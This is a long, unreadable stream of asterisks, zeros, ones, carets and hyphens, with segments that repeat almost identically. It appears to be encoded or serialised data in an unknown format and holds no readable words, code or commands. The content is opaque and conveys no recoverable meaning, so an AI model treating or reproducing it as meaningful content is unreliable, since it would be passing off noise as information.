*1*^1***001****-*00-1**-001**001**110101*101010-0011**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*00-1**00^1**001**110101*101^-0011**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*00-1**1*01**001**110101*-*-0011**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*00-1**0-1***1**110101*1*00-0011**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*00-1**11011***1**^101*0-0010^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*00-1***11***1**110101*^-01^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*00-1**10101***1**110101*1^1101^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*00-1**0^1***1**110101*01010101^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*00-1**-1***01**110101*1*0101^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*00-1**0011***01**110101*00-001^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*00-1**^1***01**110101*0010^1^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*00-1**011***001**110101*0011*1^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*00-1**11****1**110101*101*01^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*00-1******001**110101*10-110^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**10-1**001**110101*-0-0^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**010-**001**110101*0^-0^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**-011**001**110101*11010110^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**001011**001**110101*00^110^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**1*11**001**^1*00110-10^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**0-01**001**110101*00-010^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**110101**001**110101*-01010^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-***101**001**110101*0-0010^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**10^1**001**110101*011*10^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**01*1**001**^11*010110-^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**-11***1**110101*^-00^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**00-***1**110101*0^1^^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**^11***1**110101*^10^^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**01101***1**110101*01*^^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**1^1***1**110101*01101*^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-***01***1**110101*0011*0^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**1011***01**110101*011*00^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**0101***01**1101*00---0011**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**-***001**^101*---0011**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**001***001**^101**--0011**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**-**1****01**^101*1*-1^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**0-11**001**^101*^10-^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**110-**001**^101*-110-0011**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011***-**001**^101**110-0011**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**101011**001**^101*0^10-0011**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**0^11**001**^101*001^-0011**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**-101**001**^101*101*-0011**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**001101**001**^101*--01^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**^101**001**^11**--^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**01^1**001**^101*^-01^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**11*1**001**10-*01*0101^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011***001**001**^101*-10101^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**10-***1**^101*01010101^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**01011***1**^101*11*101^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**-01***1**^101*0-^1^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**00101***1**^11*0011*-0011**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**1*1***1**^101*-0^1^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**0-***01**^101*0^^1^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**1101***01**^101*1101*1^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011***1***01**^101*0-0010^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**101***001**^101*101*01^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-*001011**01****1**^101*0--0^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**011**--**001**^101**-10^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**011**00-1**001**^101*-10110^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**011**^-**001**^101*^10110^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**101*10^11*010-01*11*1*^1***001****-**011**011011**001**^101*11*110^11**010-**0011*11**0011***************01**^1*00-^10^11*11*-1**0011*11**0011***************01**^101**11010^11*-010-**0011*11**0011***************01**^1*0010101^^11*1*0011*11*011*01**0011***************01**101**^^10^11*1*0011*11*011*01********-**011**001011*****^101*1^101*-*01*01***0110^1********-**101**010101*****101**101*10^11*010-01*11*1*^1********-**101**1*01*****101**-0^^-*10-1***01^^1********-*00^1**001101*****101**101*10^11*010-01*11*1*^1***001****-*00^1**01*1*****101**^^10^11*1*0011*11*011*01********-*00^1**10101***--1*1**-011*-*11*1*001*0011*01********-*00^1**0-***0--1*1**101011*-*^1**01*0011*01********-*00^1**-****--0101*001*001011011*10--*1*0011*01********-*00^1*******--*1*00110-1011011*1*-1*1*0011*01********-**001**^-**0010-11*1**-011011011*10^-*1*0011*01********-**001**0^11**0010-11*1**101011011011*^11011*1*0011*01********-**001**110101***0-11*1**-011011011*011*11*1*0011*01********-**001**00^1***0-11*1**101011011011*1^1101*1*0011*01********-**001**10-***00-1^1**101*10^11*010-01*11*1*^1********-**001**00-***00-1^1**^^10^11*1*0011*11*011*01********-**001***11***110-^1**0-*-011**00101**001^^1********-**001**1^1***110-^1**101*1011011*1101*1**001^^1********-*00-**0010-**00110-^1**^^10^11*1*0011*11*011*01********-*00-**0011011***10-1*101*0-0010^11*1*0011*11*011*01********-*00-**00^11***10-^1**^^10^11*1*0011*11*011*01********-*00-**00-01***00-10-*00101*1011011*1**1**001^^1********-**11**00-11***00-^-*00110^-011*-0-***11*001********-**11***1101***00-^-*00110^-011*1011011***11*001********-**11**001011****-^-*00110^-011*11*11***11*001********-**11***01****0-^-*00110^-011*^1101***11*001********-*00101**0011011***00-^-*00110^-011*-^1***11*001********-*00101***^1***00-^-*00110^-011*101*1***11*001********-*00101**00^1****-^-*00110^-011*110-***01**1********-*00101********-^-*00110^-011*1*11***01**1********-**01**00-01***00-^-*00110^-011*-001***01**1********-**01***-****-^-*00110^-011*10-***001**1********-**01**00101****0-^-*00110^-011*1^1***001**1********-*0011***00-***00-^-*00110^-011*^1****1**1********-*0011***1^1**00-0-*01*0^-1101011*--11**001*^1********-*0011**001****00110-01101*0101011*1011*1010-1**001*^1********-**1***1*1**001010-001**0-0-01011*11010-*00^1*^1*****1*************00^-*101*-*^1011*1*0-*00^1*^1*****1*************01011011*101*00-1*1011*-01011*00^1*^1*****1**************01011*101*00-1*1011*101^11*00^1*^1*****1*************0-0011*101*-011*1011*11*011**001^^1********-*001***0011***001^11*101*^101*1011*^-01**001*^1********-*001***001****1*11*101*0-01*1011*-10101*00^1*^1*****1*************01*01^1**-0^101011*10^101**001^^1********-*****0^11****011*101*^101*1011*1101^1**001*^1********-*****010101**00-1101*01*0^-1101011*1*^1**001^^1********-*****0-1***-1101*101*11*1*1011*-*01**001^^1********-*****0101***0-110^1**101*^1011*10-11***1^^1********011*00--1^-101**00-1101011**0-101101011*1^-***1^^1********011*00--1^11*1**0010-01*101*10-*01011*^1011***1*^1********011*00--11*1011***1010101*101*-1*001011*-1101***1*^1********011*00--1^1101***0101^1*101*-1*001011*1010101***1*^1********011**--1*0-1**00101*1*101*-1*001011*110^1***1*^1********011**--1*01101**0010-1*0101*-1*001011*1*001***1*^1********011**--1*0-***00-1*001*0^-1101011*-011***01^^1********011*00-0-1*01101***0-1*1**^^^1011*01*1***01**1********011*00-0-^-001***0-1*1**101*10^11*010-01*11*1*^1********011**110-^10-1***0-1*1**^^10^11*1*0011*11*011*01********011**110-^^-***0-1*0101*001*0010101*101^1***1^1*********011*001010-^1*11***0-^1^1*110--0101*101011***01^1*********011**010-^110101***0-^1^1**0-11*1*0-*1**001^1*********011*001^-1*-01***0-^1^1**10-10101*^1101***1^1*********011**^-^-001***0-^1^1*-110-0101*-011***01^1*********011*001*-1*0011***00-^1^1*-010-0101*1101101***1^1*********011***-^-11***00-^1^1*101^-0101*-011***01^1*********011*00-10-00-11***00-^1^1*01*0-*1*0-*1**001^1*********011**-0-**01***0-^1^1*010-01*01*1011*1**001^1*********011*0010110-0011*1***0-^1^1*-1010110101*^^1***1^1*********011**0110-00-1****-1*1**^^10^11*1*0011*11*011*01********011**0110-001101****-^1^1*10^10110101*--***00110^1********011**1^-*001****-^1^1*0110^110101*110^1***0110^1********011*0011*-001^1***00-1*1**-0^110101*101*1***0110^1********011*001*0-*1****00-^1^1*1011*1*01*-00-***110^1********011*0011011011*10-**00110-001^1*001*0110101*11*01***0110^1********011*001^101^1101***0110-001101*010101^10101*101^1***0110^1********011***1011*01***00110-*001**1^-0101*^-***01^1*********011**-001^-011**00110-*011*0010^1010101*^^1***1^1*********011*00101^1^--**00110-00^1**10-110101*10-01***1^1*********011*00101^1^1****0110-001^1*00-11010101*110-***01^1*********011*00110^1^1^11**00110-0011**010110-0101*1101101**1*110^1*****1*************0110-001^1*1010-010101*--**01*110^1*****1*************0010-001^1*0-011010101*1*001**1*110^1*****1*************0^-001^1*00^11010101*--**01*110^1*****1*************0^-001^1*^110101*1*10110-*001*110^1*****1*************0^-*01***1^10101*11*01**1*110^1*****1*************0^-001^1*0-001010101*^1101**1*110^1*****1**************0-001^1*01*01010101*101*1**1*110^1*****1**************0-001^1*^-0010101*11*01**1*110^1*****1*************010101^1^1*11010^10101*-^1**1*110^1*****1*************0101011*1**1*0-10101*-*1**1*110^1*****1*************010101^1^1*01*^1*1*0-*1*001*110^1*****1*************0101011*01***11**1*1101*1*001*110^1*****1*************0101011*1**101*10^11*010-01*11*1*^1********011**10^1^^101**0010101^1^1*01101*10101*^^1***1^1*********011*00^^11*1^1**0010101^1^1*1011*010101*110-***01^1*********011**00^11*1*1**0010101^1^1*101***1*1101*1**001^1*********011**11*11*1****1*11*^1**-11*01*^1*1*00^1^^1*****1**************1101*^1*01010-10101*1*001**1*110^1*****1**************1101*01*00110-^1011*1*1****11*11********011*00101*1^1*****1101*1**^^^1011*01011*1**001^-********011*0011*01^1*01***0110^101*001*0010^11*1*0011*11*011*01********011*0011*01^1*1***001101*^1*01*-^11*1*0011*11*011*01********011*0011*01^-****01101*^1*01011011*01*1101*1**001^1*********011**1*011*001****1101*01*00110-^1011*1*1****11*11********011**-110^1011****1101*-*00110^110101*-^1***011*11********011**10-01*01****01101*^1*110-01*01*-00-*1*0011*01********011*00^-0^10-1***01101*^1*-^-0101*-*1*01*0011*01********011*00^-01*11011***0110^1*1**010-*1*0-*1^1*0011*11********011*00^-01*01****01101*^1*-*-0101*-^1***0110^1********011*001^110^-****01101*^1*110-01^11*1*0011*11*011*01********011*001^110^1*****1101*1**^^10^11*1*0011*11*011*01********011**^1101*10-***01101*1**101*10^11*010-01*11*1*^1********011*001*1101*10-***01101*^1*0010110110101*110^1***1^1*********011*00-1010^11011***001101*^1*-0^110101*1101101***0110^1********011*001101010^^1****1101*01*00110-^1011*1*1****11*11********011*00-00101*1^1***01101*-*00110^110101*-^1***011*11********011*0010^10^-1****1101*^1*1^^1*01*1101*1*1*0011*01********011*0010^10^^1****1101*^1*-10101*01*-1*1*1*0011*01********011*0010^101*1****00110^1*1**010-0101*^1101*01*0011*01********011**0^10^110-***0110^1*1**010-0101*^-*001*0011*11********011**0^10^1*11***01101*^1*-00101^11*1*0011*11*011*01********011**0^10^^101***01101*1**^^10^11*1*0011*11*011*01********011**0^10^10^1***01101*^1*-1^11*1*10110-**001^1*********011*0011*101*-1***001101*^1*-0^110101*10-01***0110^1********011*0010-00^1*11***01101*01*00110-^1011*1*1****11*11********011*00^1^1**11***01101*-*00110^110101*-^1***011*11********011**110^^-011***0110^101*001*001010101*110-*001*0011*01********011**110^1**11***01101*01*00110-1010101*^1101*01*0011*01********011**110^^^101***01101*^1*1^^1*01*-1*1*1*0011*01********011**110^^11*1***0110^1*1**010-0101*101011*001*0011*01********011**110^^-01***00110^1*1**010-0101*^-*001*0011*11********011**110^^11****001101*^1*1101*1^11*1*0011*11*011*01********011*001010^^110-***01101*1**^^10^11*1*0011*11*011*01********011*001010^^-011***01101*1**101*10^11*010-01*11*1*^1********011**010^^-101***01101*^1*1**110101*1101101***1^1*********011*001^^1*-01***0110^1101*0-0101010101*110-***01^1*********011**^^^^101***01101*^1*0110-*001*-1*1**001^1*********011*001*^^1*01***01101*^1*-1011*001*1101*1**001^1*********011***^1*0011***001101*^1*10^11010101*101*1***1^1*********011*00-1*1*0101***001101*^1*0-101010101*101011***01^1*********011**011*^1^11***01101*01*00110-^1011*1*1****11*11********011*00^1*^-011***01101*-*00110^110101*-^1***011*11********011*00-*01*-****1101*^1*0101101010101*^^1*01*0011*01********011*001**1*11011***01101*^1*0110101*001*^1*1*1*0011*01********011*001**1**11***01101*^1**0101010101*101^1*01*0011*01********011*001**^^101***01101*^1*-*10^11*1*0011*11*011*01********011*001**^1*01***01101*^1*0-1^10101*110-***01^1*********011****1*0101***001101*11***101*001*^1*1**001^1*********011*00--1*011****01101*^1*10101^10101*^1101***1^1*********011*0010-11**-***01101*1**^^10^11*1*0011*11*001*01********011*0010-11*001011***01101*^1*0-0^10101*101*1*01*0011*01********011*0010-11*101101***01101*^1**10^10101*10-1*001*0011*01********011*0010-11*01^1***0110^1*1**010-0101*^-00^1*0011*11********011*0010-11**001***01101**1**10^10101*10-01***1^1*********011**0-11*1011****1101*^1*11011*10101*10-1***01^1*********011*00110-1**1****1101*^1*1011*010101*-011***01^1*********011*00^-1*-101***01101*^1*101*0010101*^1101***1^1*********011**00-1**101***0110^1*1*00--10101*^^1***1^1*********011*00-0-*101101***0110^1*1**0-1*01*-00-**001^1*********011**110-*00-***00110^1*1*-00-1*1*10110-**001^1*********011*001010-*^1****110^1*1*-110-0101*1*001***0110^1********011**011011**01***001101*01*00110-^1011*1*1****11*11********011**1^11*10-1***01101*-*00110^110101*-^1***011*11********011*001*011*001101***0110^1*1*001*-0101*--*001*0011*01********011*001*011*10^1***0110^1*1*001010-0101*-*1*01*0011*01********011*001*011*0-1***001101**1*00101*10101*101011*001*0011*01********011*001*011*-01***001101**1*0-**001*-1*1*1*0011*01********011*001*011**01***00110^1*1**010-0101*110-*001*0011*01********011*001*011*^1****110^1*1**01011*01*1011*1^1*0011*11********011***011*00^1***0110^1*1*001*-0011*1*0011*11*011*01********011***011*0-1***001101*1**^^10^11*1*0011*11*011*01********011***011*-01***00110^1*1*00-101*01*-1*1**001^1*********011*00-1101*11****001101*1**^^10^11*1*0011*11*001*01********011**-101*--***01101*01*00110-^1011*1*1****11*11********011*0010-01*001****01101*-*00110^110101*-^10101**11*11*******************01101*1**^^10^11*1*0011*11*011*01********011*0010-01******0110^1*1*-10101*01*1101*1**001*^1********011**010101*^101***0110^1*1*-0010110101*1*001***0110^1********011***101*101****01101*1**^^10^11*1*0011*11*011*01********011***101*1*****110^1*1*1101^110101*110-***01^1*********011*00-^1*1*****110^1*1*1010^110101*110^1***1^1*********011*00101^1*110-***01101*1**^^10^11*1*0011*11*011*01********011*00101^1*-011***0110^1*1*-1*110101*--***00110^1********011**00^1*0011****1101*101*001*10110101*110-***01^1*********011*00-*1******0110^1*1*011*0110101*10-1***01^1*********011*00101*1*-101***0110^1*1*^-1010101*^1101***1^1*********011**01*1*110101***0110^1*1*1*-*001*-00-**001^1*********011*0011*01*00^1***0110^-*001*11011*1*10110-**001^1*********011**1*01*1^1***00110^1*1*^1011010101*-^1***0110^1********011**-11*01*1***001101*1**1^^11*1*0-*1**001*^1********011*00110-*011011***001101*1**1^^110101*101^1***1*^1********011**00-*010-***001101*1**1^^1*01*^1*1**001*^1********011*00101011**1011***01101*1**1^^110101*1*001***0110^1********011*001^11*01^11***0110^1*1**0011010101*--***01^1*********011**^11**^1***0110^1*1*0110101010101*-*1***1^1*********011*001*11**011***00110^-**01*001*1*0-*1**001^1*********011***11*010-***00110^1*1*^^1010101*^-***01^1*********011*00-101*011011***001101*1**101*1*001*1011*1***110^1********011*00101101**11****110^1*1***1*001*^1*1***110^1********011**10101*0-01***00110^1*1*0-01**1*-00-***110^1********011**1^1*01*****1101*1**1^^110101*101011***00110^1********011*001*01*010-1***0110^^1*0^1011010101*11*01***1*^1********011**-1*00--***01101*1**0-*110101*^^1***0110^1********011*0010-*******110^1*1*10^^10101*-011***01^1*********011*0011011*00-101***0110^1*1*11011*10101*101011***01^1*********011**1011**01101***0110^1*1*0^1*10101*1*001***1^1*********011*00^11**0011***00110^1*1*1101*010101*10-01***0110^1********011**0101**1011***00110^1*1***0010101*^^1***1^1*********011*001^1**101****1101**1*0010-110101*-*1***1^1*********011**^1**001****1101**1*^10-10101*10-1***01^1*********011***1*00^-***0110^101****1*01*-1*1**001^1*********011*00-1**001011***01101**1*01*-1*1*10110-**001^1*********011**-**010101***0110^-**110-110101*-^1***0110^1********011*001011**110101***01101*11**1*1101*1*0-*1***110^1********011**011**-1****110^^1**010^10101*1101101***0110^1********011**001**00-1***01101**1*11011011*01*1011*1***110^1********011**001**0101****1101**1*1^1011*01*1101*1***110^1********011**11***0011***01101*1**1^^110101*110-***00110^1********011*00101**00101****1101*1**0-*11*1*1010-1***110^1********011*0011**00101101***01101**1*^^-0101*1*001***0110^1********101*00--11*^11***0110^1101*010101^10101*^1101***0110^1********101**0--*01101***0110^101*001*0010^11*1*0011*11*011*01********101**0--0011*1***01101*1**^^^1011*01011*1**001^-********101*00110-11*11****01101**1*--01^11*1*0011*11*011*01********101*00^-11*10-***01101**1*^-01^11*1*0011*11*011*01********101*00^-11*01011***01101*1**101*10^11*010-01*11*1*^1********101**00-11*1^1***01101**1*0-01011*1*1010-1*001*110^1*****1**************1101**1*^1^110101*10-1**0^1^^1*****1**************1101**1*001*0110101*^^1**1*110^1*****1**************1101**1*--1010101*^^1**1*110^1*****1*************0010101**1**0-010101*10-01**1*110^1*****1*************0^101**1*01^11*001*-1*1*00^1^^1*****1**************0101**1*0101101010101*101011**01*110^1*****1**************0101**1*001010101*1*1010-1*001*110^1*****1*************010^1**1*110^1010101*110^1**1*110^1*****1*************010^1**1*--0010101*101011***01^1*********101*00-0-1*1011***10^1**1*1^1^10101*^^1***1^1*********101**110-^^11***10^1**1**10^10101*110^1***1^1*********101*001010-1**1***10^^1011*01*01011*1*1010-1**001^1*********101**010-1*001***010^1*-*0--0010101*10-1***01^1*********101**^-1*11011**0010^^1011*010-^10101*10-01*01*0011*01********101**^-^-101**0010^^1011*0^-0010101*^1101*01*0011*01********101**^-1*00101**0010^1**1*1*0^10101*-011*001*0011*01********101**^-^1*01**0010^1**1*11011**01*1101*1*1*0011*01********101**^-1*1011***10^1**1*1*0^10101*-^1*0